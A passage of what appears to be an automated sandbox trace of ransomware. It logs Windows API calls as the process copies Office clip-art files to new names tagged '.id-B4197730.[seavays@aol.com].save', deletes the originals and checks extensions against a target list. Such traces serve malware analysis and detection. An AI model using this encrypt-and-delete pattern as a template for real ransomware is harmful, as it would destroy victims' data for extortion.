office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0173.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.309] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.310] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.311] GetLastError () returned 0x0 [0173.311] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1028, lpOverlapped=0x0) returned 1 [0173.312] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1030, lpOverlapped=0x0) returned 1 [0173.313] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.313] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.313] SetEndOfFile (hFile=0x510) returned 1 [0173.313] CloseHandle (hObject=0x510) returned 1 [0173.314] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.314] SetEndOfFile (hFile=0x434) returned 1 [0173.316] CloseHandle (hObject=0x434) returned 1 [0173.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0173.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.319] lstrlenW (lpString=".doc") returned 4 [0173.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.319] lstrlenW (lpString=".docx") returned 5 [0173.319] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.319] lstrlenW (lpString=".pdf") returned 4 [0173.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString=".xls") returned 4 [0173.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.320] lstrlenW (lpString=".xlsx") returned 5 [0173.320] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.320] lstrlenW (lpString=".ppt") returned 4 [0173.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.320] lstrlenW (lpString=".zip") returned 4 [0173.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.320] lstrlenW (lpString=".rar") returned 4 [0173.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString=".bz2") returned 4 [0173.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString=".7z") returned 3 [0173.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.320] lstrlenW (lpString=".dbf") returned 4 [0173.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.320] lstrlenW (lpString=".1cd") returned 4 [0173.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.320] lstrlenW (lpString=".jpg") returned 4 [0173.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.320] lstrlenW (lpString=".doc") returned 4 [0173.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.320] lstrlenW (lpString=".docx") returned 5 [0173.320] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.320] lstrlenW (lpString=".pdf") returned 4 [0173.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.321] lstrlenW (lpString=".xls") returned 4 [0173.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.321] lstrlenW (lpString=".xlsx") returned 5 [0173.321] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.321] lstrlenW (lpString=".ppt") returned 4 [0173.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.321] lstrlenW (lpString=".zip") returned 4 [0173.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.321] lstrlenW (lpString=".rar") returned 4 [0173.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.321] lstrlenW (lpString=".bz2") returned 4 [0173.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.321] lstrlenW (lpString=".7z") returned 3 [0173.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.321] lstrlenW (lpString=".dbf") returned 4 [0173.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.321] lstrlenW (lpString=".1cd") returned 4 [0173.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0173.321] lstrlenW (lpString=".jpg") returned 4 [0173.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.321] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.321] lstrlenW (lpString="J0107308.WMF") returned 12 [0173.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.322] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=15888) returned 1 [0173.322] CloseHandle (hObject=0x434) returned 1 [0173.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0173.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.323] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.323] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.323] GetLastError () returned 0x0 [0173.324] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0173.325] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0173.326] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.327] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.327] SetEndOfFile (hFile=0x510) returned 1 [0173.327] CloseHandle (hObject=0x510) returned 1 [0173.327] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.327] SetEndOfFile (hFile=0x434) returned 1 [0173.331] CloseHandle (hObject=0x434) returned 1 [0173.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0173.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.332] lstrlenW (lpString=".doc") returned 4 [0173.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.332] lstrlenW (lpString=".docx") returned 5 [0173.332] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.332] lstrlenW (lpString=".pdf") returned 4 [0173.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.332] lstrlenW (lpString=".xls") returned 4 [0173.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.332] lstrlenW (lpString=".xlsx") returned 5 [0173.332] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.633] lstrlenW (lpString=".ppt") returned 4 [0173.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.633] lstrlenW (lpString=".zip") returned 4 [0173.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.633] lstrlenW (lpString=".rar") returned 4 [0173.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.633] lstrlenW (lpString=".bz2") returned 4 [0173.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.633] lstrlenW (lpString=".7z") returned 3 [0173.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.633] lstrlenW (lpString=".dbf") returned 4 [0173.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.633] lstrlenW (lpString=".1cd") returned 4 [0173.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.633] lstrlenW (lpString=".jpg") returned 4 [0173.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.634] lstrlenW (lpString=".doc") returned 4 [0173.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString=".docx") returned 5 [0173.634] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.634] lstrlenW (lpString=".pdf") returned 4 [0173.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString=".xls") returned 4 [0173.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.634] lstrlenW (lpString=".xlsx") returned 5 [0173.634] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.634] lstrlenW (lpString=".ppt") returned 4 [0173.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.634] lstrlenW (lpString=".zip") returned 4 [0173.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.634] lstrlenW (lpString=".rar") returned 4 [0173.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString=".bz2") returned 4 [0173.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString=".7z") returned 3 [0173.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.634] lstrlenW (lpString=".dbf") returned 4 [0173.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.634] lstrlenW (lpString=".1cd") returned 4 [0173.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0173.634] lstrlenW (lpString=".jpg") returned 4 [0173.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.635] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.635] lstrlenW (lpString="J0107446.WMF") returned 12 [0173.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.467] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=30336) returned 1 [0174.468] CloseHandle (hObject=0x378) returned 1 [0174.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220 [0174.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.030] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.030] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.168] GetLastError () returned 0x0 [0176.168] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7680, lpOverlapped=0x0) returned 1 [0176.170] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7690, lpOverlapped=0x0) returned 1 [0176.172] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.172] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.172] SetEndOfFile (hFile=0x370) returned 1 [0176.172] CloseHandle (hObject=0x370) returned 1 [0176.172] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.172] SetEndOfFile (hFile=0x534) returned 1 [0176.181] CloseHandle (hObject=0x534) returned 1 [0176.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0176.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.183] lstrlenW (lpString=".doc") returned 4 [0176.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString=".docx") returned 5 [0176.183] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.183] lstrlenW (lpString=".pdf") returned 4 [0176.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString=".xls") returned 4 [0176.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.183] lstrlenW (lpString=".xlsx") returned 5 [0176.183] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.183] lstrlenW (lpString=".ppt") returned 4 [0176.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.183] lstrlenW (lpString=".zip") returned 4 [0176.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.183] lstrlenW (lpString=".rar") returned 4 [0176.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString=".bz2") returned 4 [0176.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString=".7z") returned 3 [0176.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.183] lstrlenW (lpString=".dbf") returned 4 [0176.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.183] lstrlenW (lpString=".1cd") returned 4 [0176.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString=".jpg") returned 4 [0176.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString=".doc") returned 4 [0176.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString=".docx") returned 5 [0176.184] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.184] lstrlenW (lpString=".pdf") returned 4 [0176.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString=".xls") returned 4 [0176.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.184] lstrlenW (lpString=".xlsx") returned 5 [0176.184] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.184] lstrlenW (lpString=".ppt") returned 4 [0176.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString=".zip") returned 4 [0176.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.184] lstrlenW (lpString=".rar") returned 4 [0176.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString=".bz2") returned 4 [0176.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString=".7z") returned 3 [0176.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString=".dbf") returned 4 [0176.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString=".1cd") returned 4 [0176.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0176.184] lstrlenW (lpString=".jpg") returned 4 [0176.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.185] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.185] lstrlenW (lpString="J0107544.WMF") returned 12 [0176.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.186] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=26768) returned 1 [0176.186] CloseHandle (hObject=0x534) returned 1 [0176.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220 [0176.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 